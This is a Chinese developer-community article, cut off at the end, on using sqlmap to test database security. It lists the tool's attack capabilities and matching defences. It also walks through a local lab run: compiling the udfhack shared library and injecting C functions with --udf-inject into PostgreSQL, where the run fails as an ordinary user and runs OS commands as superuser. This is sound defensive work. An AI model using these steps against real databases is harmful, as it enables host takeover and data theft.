数据库common安全渗透测试与防范 - sqlmap-阿里云开发者社区

开发者社区> 阿里云数据库> 正文

数据库common安全渗透测试与防范 - sqlmap

简介:

标签

sqlmap , sql注入 , 自动渗透 , boolean-based blind , time-based blind , error-based , UNION query-based , stacked queries , out-of-band


背景

sqlmap特性介绍

1. 支持主流数据库

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.

2. 支持6种SQL注入手段

boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.

3. 支持直连数据库的方式,攻击一些暴露在公网的数据库,如创建UDF函数(支持某些数据库),实施越权操作等(前提是能登陆数据库,然后利用数据库的漏洞或功能)

攻击手段,透过UDF以及数据库的功能,实施越权操作(比如利用数据库的DBLINK,访问数据库内网的其他主机),(比如通过数据库超级用户,创建UDF,执行操作系统的命令)。

4. 支持通过注入的方式,枚举或提取数据库用户、密码HASH(可以用于破译明文密码),表、列等

攻击手段,通常实施的方式是查询系统表,前提是提取到数据库的指纹(如品牌,版本),然后根据对应数据库版本提取对应的系统表.

enumerate users, password hashes, privileges, roles, databases, tables and columns.

Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.

5. 支持通过注入的方式,导出数据,用户可以控制导出的列、根据条件过滤数据等。

攻击手段,数据查询、导入导出

Support to dump database tables entirely, a range of entries or specific columns as per user's choice.

The user can also choose to dump only a range of characters from each column's entry.

6. 支持通过注入的方式,在所有数据库中搜索指定表名,或者在所有数据库的表中搜索指定列名。

攻击手段,比如从URL里,可以猜测出列名,但是不知道表名,通过查询系统表可以得到包含该列名的表名。

Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables.

This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.

7. 支持通过SQL注入的方式,或者直连数据库的方式,从数据库所在的操作系统下载文件,或者上传文件到数据库所在的操作系统。

攻击手段,通过数据库的文件访问接口,以及数据库的大对象接口。

Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.

8. 支持通过SQL注入,或者直连数据库的方式,在数据库所在的操作系统中,执行操作系统的命令

攻击手段,通过数据库的UDF接口,调用操作系统syscall接口执行操作系统命令。

Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.

9. 支持通过SQL注入的方式,让攻击机与数据库所在的操作系统建立TPC会话

攻击手段,通过端口代理的服务,类似这样的方法

《使用 ssh -R 建立反向/远程TCP端口转发代理》

Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system.

This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

10. 支持通过SQL注入的方式,入侵数据库所在操作系统,并从普通OS用户提升为超级用户

攻击手段,UDF

Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

从sqlmap分析, 如何封堵数据库安全漏洞

sqlmap是一个比较常规的自动化渗透测试工具,主要针对HTTP协议、或者直连数据库的方式进行攻击或漏洞探测。

可以利用的漏洞都是常规的,并没有针对数据库指纹(指数据库的版本)实施特殊的攻击。

比如PostgreSQL数据库的安全页面,列出了所有版本的已知漏洞,在哪个版本存在,在哪个版本修复。

https://www.postgresql.org/support/security/

而这些漏洞,sqlmap并没有整合。除非你自己去扩展sqlmap。

也就是说,通过了sqlmap的渗透测试,并不代表安全。

sqlmap包含了哪些常规渗透测试?如何封堵常规的安全漏洞?

1. sql注入

防范手段,应用程序使用绑定变量,或者使用过滤规则。

SQL注入成功是后面的攻击基础。

2. 数据库用户密码hash

指SQL注入成功后。

防范手段1,业务使用普通用户连接数据库,那么它拿不到其他用户的密码hash。

防范手段2,隐藏或加密用户密码hash,任何情况下,你都只能看到加密后的hash。(需修改数据库内核来实现)

3. 上传下载数据库主机文件

指SQL注入成功后。

防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。

防范手段2,禁止一切文件读写操作权限的函数。

4. 调用数据库主机操作系统命令

指SQL注入成功后。

防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。

5. 把数据库主机变成肉鸡,或者跳板机

指SQL注入成功后。

防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。

6. 访问数据库主机才能访问的私有网络

指SQL注入成功后。

防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。

防范手段2,对有网络访问权限的插件,实行IP地址过滤,只能访问白名单内的IP,比如数据库的DBLINK插件,需要有白名单过滤机制。(需要修改数据库内核来实现)

防范手段3,隔离数据库主机与其他主机的网络访问。

PostgreSQL安全加固文档

前面已经提到了sqlmap的数据库安全检测并不完善,仅仅针对一些常规的攻击方法。

毕竟他们的团队不是专业搞数据库的,所以如果需要更加完善的数据库安全加固方法,可以参考如下文档。

《PostgreSQL 密码 安全指南》

《PostgreSQL 数据库 安全指南》

《PostgreSQL cancel 安全漏洞》

《DBA专供 冈本003系列 - 数据库安全第一,过个好年》

《PostgreSQL psql 安全设置数据库用户密码的方法之一》

《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》

《PostgreSQL leakproof function in rule rewrite("attack" security_barrier views)》

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

《开放dblink , fdw带来的安全隐患》

《PostgreSQL 安全警钟长鸣》

《PostgreSQL 9.4 patch : Row-Level Security》

《EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷》

sqlmap 检测网站漏洞

云数据库的安全挑战

sqlmap支持直连数据库的方式,所以我们可以使用它来测试数据库是否存在常规漏洞。

比如获得操作系统权限,访问数据库主机的私网主机等。(对于云厂商来说,这个是比较致命的问题。)

通常云数据库如果提供给用户的是普通账号,如果是超级账号,那么要做到对云自身的保护,数据库内核的改动量会非常庞大。

云数据库可能运行在物理机也可能运行在虚拟机。

云数据库所在环境可能还有其他的主机,对用户是隔离的,但是云数据库主机也许能访问它们。

sqlmap 探测云数据库常规安全性

注意,sqlmap只包含了一些常规的安全测试手段,所以通过了SQLMAP的安全测试,并不代表这个云数据库是安全的。

例子

申请一个云数据库厂商的RDS,根据对应的RDS 数据库版本,编译UDF二进制。

https://github.com/sqlmapproject/udfhack

比如PostgreSQL 9.4

下载udf.c文件

https://github.com/sqlmapproject/udfhack/blob/master/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c

使用9.4的PostgreSQL版本编译

gcc -Wall -I/usr/include/postgresql/9.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so    
strip -sx lib_postgresqludf_sys.so    

使用sqlmap的直连数据库方式进行测试,一会要用到这个lib_postgresqludf_sys.so文件,使用PostgreSQL大对象导出的方式将它导出到数据库主机的/tmp目录下。

sqlmap使用方法详见

https://github.com/sqlmapproject/sqlmap/wiki/Usage

安装连接数据库的python驱动    
pip install python-psycopg2    

cd sqlmap    

python ./sqlmap.py -hh    
Direct connection to the database    

Option: -d    

Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:    

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)    
DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)    

检测连接是否有效

python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres"    

枚举测试

获取数据库指纹,获取用户密码HASH,获取有哪些数据库,获取表清单,获取数据等等

Enumeration:    
    These options can be used to enumerate the back-end database    
    management system information, structure and data contained in the    
    tables. Moreover you can run your own SQL statements    

    -a, --all           Retrieve everything    
    -b, --banner        Retrieve DBMS banner    
    --current-user      Retrieve DBMS current user    
    --current-db        Retrieve DBMS current database    
    --hostname          Retrieve DBMS server hostname    
    --is-dba            Detect if the DBMS current user is DBA    
    --users             Enumerate DBMS users    
    --passwords         Enumerate DBMS users password hashes    
    --privileges        Enumerate DBMS users privileges    
    --roles             Enumerate DBMS users roles    
    --dbs               Enumerate DBMS databases    
    --tables            Enumerate DBMS database tables    
    --columns           Enumerate DBMS database table columns    
    --schema            Enumerate DBMS schema    
    --count             Retrieve number of entries for table(s)    
    --dump              Dump DBMS database table entries    
    --dump-all          Dump all DBMS databases tables entries    
    --search            Search column(s), table(s) and/or database name(s)    
    --comments          Retrieve DBMS comments    
    -D DB               DBMS database to enumerate    
    -T TBL              DBMS database table(s) to enumerate    
    -C COL              DBMS database table column(s) to enumerate    
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate    
    -U USER             DBMS user to enumerate    
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables    
    --pivot-column=P..  Pivot column name    
    --where=DUMPWHERE   Use WHERE condition while table dumping    
    --start=LIMITSTART  First query output entry to retrieve    
    --stop=LIMITSTOP    Last query output entry to retrieve    
    --first=FIRSTCHAR   First query output word character to retrieve    
    --last=LASTCHAR     Last query output word character to retrieve    
    --sql-query=QUERY   SQL statement to be executed    
    --sql-shell         Prompt for an interactive SQL shell    
    --sql-file=SQLFILE  Execute SQL statements from given file(s)    
获取数据库指纹(banner)例子    

python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" -b    

输出    
[16:18:42] [INFO] resumed: [[u'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit']]...    
back-end DBMS operating system: Linux    
back-end DBMS: PostgreSQL    
banner:    'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit'    

用户自定义函数

基于用户自定义函数,可以直接攻入操作系统,调用操作系统命令,等等。

目前具备危害的UDF包括C语言的UDF,或者其他例如PostgreSQL plpythonu之类的untrust语言的UDF。

  User-defined function injection:    
    These options can be used to create custom user-defined functions    

    --udf-inject        Inject custom user-defined functions    
    --shared-lib=SHLIB  Local path of the shared library    
前面编译的SO派上用场了,使用大对象导入,为了观测整个过程,可以设置数据库的log_statement='all';    

python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so    

[16:20:48] [INFO] connection to postgresql server 127.0.0.1:1921 established    
[16:20:48] [INFO] the back-end DBMS is PostgreSQL    
back-end DBMS: PostgreSQL    
[16:20:48] [INFO] fingerprinting the back-end DBMS operating system    
[16:20:48] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist    

[16:20:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'    
[16:20:48] [INFO] the back-end DBMS operating system is Linux    
[16:20:49] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist    

[16:20:49] [INFO] testing if current user is DBA    
[16:20:49] [INFO] resumed: [[u'1']]...    
how many user-defined functions do you want to create from the shared library? 4  // 输入,创建多少个UDF,对应如下    
                             // https://github.com/sqlmapproject/udfhack/blob/master/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql    
what is the name of the UDF number 1? sys_exec // 输入    
how many input parameters takes UDF 'sys_exec'? (default: 1)  // 输入    
what is the data-type of input parameter number 1? (default: text)  // 输入    
what is the data-type of the return value? (default: text) int4 // 输入    
what is the name of the UDF number 2? sys_eval // 输入    
how many input parameters takes UDF 'sys_eval'? (default: 1)  // 输入    
what is the data-type of input parameter number 1? (default: text)  // 输入    
what is the data-type of the return value? (default: text)  // 输入    
what is the name of the UDF number 3? sys_bineval // 输入    
how many input parameters takes UDF 'sys_bineval'? (default: 1)  // 输入    
what is the data-type of input parameter number 1? (default: text)  // 输入    
what is the data-type of the return value? (default: text) int4 // 输入    
what is the name of the UDF number 4? sys_fileread // 输入    
how many input parameters takes UDF 'sys_fileread'? (default: 1)  // 输入    
what is the data-type of input parameter number 1? (default: text)  // 输入    
what is the data-type of the return value? (default: text)  // 输入    
[16:22:40] [INFO] checking if UDF 'sys_fileread' already exist    
[16:22:40] [INFO] checking if UDF 'sys_bineval' already exist    
[16:22:40] [INFO] checking if UDF 'sys_eval' already exist    
[16:22:40] [INFO] checking if UDF 'sys_exec' already exist    
[16:22:40] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist    

[16:22:40] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist    

[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject  // 普通用户没有直接INSERT pg_largeobject的权限    

[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject    

[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject    

[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject    

[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject    

[16:22:41] [WARNING] (remote) (ProgrammingError) must be superuser to use server-side lo_export()  // 超级用户才能调用 lo_export() 函数 ,导出到数据库主机    
HINT:  Anyone can use the client-side lo_export() provided by libpq.  // 客户端lo_export()只能将大对象导出到客户端,不能导出到数据库主机    

[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject    

[16:22:41] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)    
[16:22:41] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist    

[16:22:41] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist    

[16:22:41] [ERROR] there has been a problem uploading the shared library, it looks like the binary file has not been written on the database underlying file system    
do you want to proceed anyway? Beware that the operating system takeover will fail [y/N] y  // 是否开始创建UDF    
[16:22:45] [INFO] creating UDF 'sys_fileread' from the binary UDF file    
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist  // 由于.so导出到数据库主机失败,所以创建UDF必然是失败的    

[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c    

[16:22:45] [INFO] creating UDF 'sys_bineval' from the binary UDF file    
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist    

[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c    

[16:22:45] [INFO] creating UDF 'sys_eval' from the binary UDF file    
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist    

[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c    

[16:22:45] [INFO] creating UDF 'sys_exec' from the binary UDF file    
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist    

[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c    

do you want to call your injected user-defined functions now? [Y/n/q] Y   // 调用UDF    
which UDF do you want to call?    
[1] sys_fileread    
[2] sys_bineval    
[3] sys_eval    
[4] sys_exec    
[q] Quit    
> 3    
what is the value of the parameter number 1 (data-type: text)? df -h    
do you want to retrieve the return value of the UDF? [Y/n] Y    
[16:23:11] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist    
LINE 1: SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(1...    
               ^    
HINT:  No function matches the given name and argument types. You might need to add explicit type casts.    

No return value    
do you want to call this or another injected UDF? [Y/n] n   // 退出,删除UDF    
[16:23:14] [INFO] cleaning up the database management system    
[16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist    

[16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist    

do you want to remove UDF 'sys_fileread'? [Y/n] Y    
[16:23:18] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist    

do you want to remove UDF 'sys_bineval'? [Y/n] Y    
[16:23:20] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist    

do you want to remove UDF 'sys_eval'? [Y/n] Y    
[16:23:21] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist    

do you want to remove UDF 'sys_exec'? [Y/n] Y    
[16:23:22] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist    

[16:23:22] [INFO] database management system cleanup finished    
[16:23:22] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually    
[16:23:22] [INFO] connection to postgresql server 127.0.0.1:1921 closed    

[*] shutting down at 16:23:22    

数据库日志输出    

2017-02-13 16:20:48.618 CST,,,20257,"127.0.0.1:58538",58a16c60.4f21,1,"",2017-02-13 16:20:48 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=58538",,,,,,,,"BackendInitialize, postmaster.c:4116",""    
2017-02-13 16:20:48.619 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,2,"authentication",2017-02-13 16:20:48 CST,2/268,0,LOG,00000,"connection authorized: user=test database=postgres",,,,,,,,"PerformAuthentication, postinit.c:272",""    
2017-02-13 16:20:48.648 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,3,"DROP TABLE",2017-02-13 16:20:48 CST,2/270,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""    
2017-02-13 16:20:49.077 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,4,"DROP TABLE",2017-02-13 16:20:48 CST,2/274,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""    
2017-02-13 16:22:40.927 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,5,"DROP TABLE",2017-02-13 16:20:48 CST,2/275,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""    

直接操作pg_largeobject失败,没有权限    
2017-02-13 16:22:40.933 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,6,"SELECT",2017-02-13 16:20:48 CST,2/277,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697",""    
2017-02-13 16:22:40.936 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,7,"DELETE",2017-02-13 16:20:48 CST,2/278,2266,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"DELETE FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:40.957 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,8,"INSERT",2017-02-13 16:20:48 CST,2/290,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 0, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:40.979 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,9,"INSERT",2017-02-13 16:20:48 CST,2/303,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 1, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:41.000 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,10,"INSERT",2017-02-13 16:20:48 CST,2/316,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 2, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:41.019 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,11,"INSERT",2017-02-13 16:20:48 CST,2/328,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 3, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""    

调用lo_export(7989, '/tmp/lib_postgresqludf_sys.so')导出失败    
2017-02-13 16:22:41.022 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,12,"SELECT",2017-02-13 16:20:48 CST,2/330,0,ERROR,42501,"must be superuser to use server-side lo_export()",,"Anyone can use the client-side lo_export() provided by libpq.",,,,"SELECT lo_export(7989, '/tmp/lib_postgresqludf_sys.so')",,"lo_export, be-fsstubs.c:522",""    
2017-02-13 16:22:41.024 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,13,"SELECT",2017-02-13 16:20:48 CST,2/331,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:41.025 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,14,"SELECT",2017-02-13 16:20:48 CST,2/332,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697",""    
2017-02-13 16:22:41.191 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,15,"DROP TABLE",2017-02-13 16:20:48 CST,2/334,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""    
2017-02-13 16:22:45.717 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,16,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/335,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925",""    

创建UDF失败    
2017-02-13 16:22:45.718 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,17,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/336,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:45.720 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,18,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/337,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:22:45.722 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,19,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/338,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:45.723 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,20,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/339,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:22:45.725 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,21,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/340,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""    
2017-02-13 16:22:45.726 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,22,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/341,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:22:45.728 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,23,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/342,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""    

使用sys_eval调用df -h失败,因为没有这个函数    
2017-02-13 16:23:11.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,24,"SELECT",2017-02-13 16:20:48 CST,2/345,0,ERROR,42883,"function sys_eval(text) does not exist",,"No function matches the given name and argument types. You might need to add explicit type casts.",,,,"SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(104)))",8,"ParseFuncOrColumn, parse_func.c:523",""    
2017-02-13 16:23:14.737 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,25,"DROP TABLE",2017-02-13 16:20:48 CST,2/346,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""    
2017-02-13 16:23:14.738 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,26,"DROP TABLE",2017-02-13 16:20:48 CST,2/347,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""    
2017-02-13 16:23:18.347 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,27,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/349,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:23:20.767 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,28,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/350,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:23:21.618 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,29,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/351,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:23:22.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,30,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/352,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925",""    
2017-02-13 16:23:22.540 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,31,"idle",2017-02-13 16:20:48 CST,,0,LOG,00000,"disconnection: session time: 0:02:33.922 user=test database=postgres host=127.0.0.1 port=58538",,,,,,,,"log_disconnections, postgres.c:4507",""    
如果使用超级用户,以上是可以成功的    

$python ./sqlmap.py -d "postgresql://postgres:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so --hex    

do you want to call your injected user-defined functions now? [Y/n/q] Y    
which UDF do you want to call?    
[1] sys_fileread    
[2] sys_bineval    
[3] sys_eval    
[4] sys_exec    
[q] Quit    
> 3    
what is the value of the parameter number 1 (data-type: text)? df -h    
do you want to retrieve the return value of the UDF? [Y/n] Y    
return value:    
---    
Filesystem            Size  Used Avail Use% Mounted on    
......    
tmpfs                 384G     0  384G   0% /data01    
tmpfs                  96G   25M   96G   1% /dev/shm    
---    

do you want to call this or another injected UDF? [Y/n] Y    
which UDF do you want to call?    
[1] sys_fileread    
[2] sys_bineval    
[3] sys_eval    
[4] sys_exec    
[q] Quit    
> 3    
what is the value of the parameter number 1 (data-type: text)? ls -l    
do you want to retrieve the return value of the UDF? [Y/n] Y    
return value:    
---    
total 128    
-rw------- 1 digoal users     4 Jan 16 11:33 PG_VERSION    
drwx------ 9 digoal users  4096 Jan 19 17:09 base    
drwx------ 2 digoal users  4096 Feb 13 16:33 global    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_clog    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_commit_ts    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_dynshmem    
-rw------- 1 digoal users  4468 Jan 16 11:33 pg_hba.conf    
-rw------- 1 digoal users  1636 Jan 16 11:33 pg_ident.conf    
drwx------ 2 digoal users  4096 Feb 13 16:03 pg_log    
drwx------ 4 digoal users  4096 Jan 16 11:33 pg_logical    
drwx------ 4 digoal users  4096 Jan 16 11:33 pg_multixact    
drwx------ 2 digoal users  4096 Feb 13 16:03 pg_notify    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_replslot    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_serial    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_snapshots    
drwx------ 2 digoal users  4096 Feb 13 16:03 pg_stat    
drwx------ 2 digoal users  4096 Feb 13 16:34 pg_stat_tmp    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_subtrans    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_tblspc    
drwx------ 2 digoal users  4096 Jan 16 11:33 pg_twophase    
drwx------ 3 digoal users  4096 Feb 13 16:33 pg_xlog    
-rw------- 1 digoal users    88 Jan 16 11:33 postgresql.auto.conf    
-rw------- 1 digoal users 24676 Jan 16 12:38 postgresql.conf    
-rw------- 1 digoal users    37 Feb 13 16:03 postmaster.opts    
-rw------- 1 digoal users    86 Feb 13 16:03 postmaster.pid    
---    
数据库日志略  

读写文件,同样使用以上UDF

  File system access:    
    These options can be used to access the back-end database management    
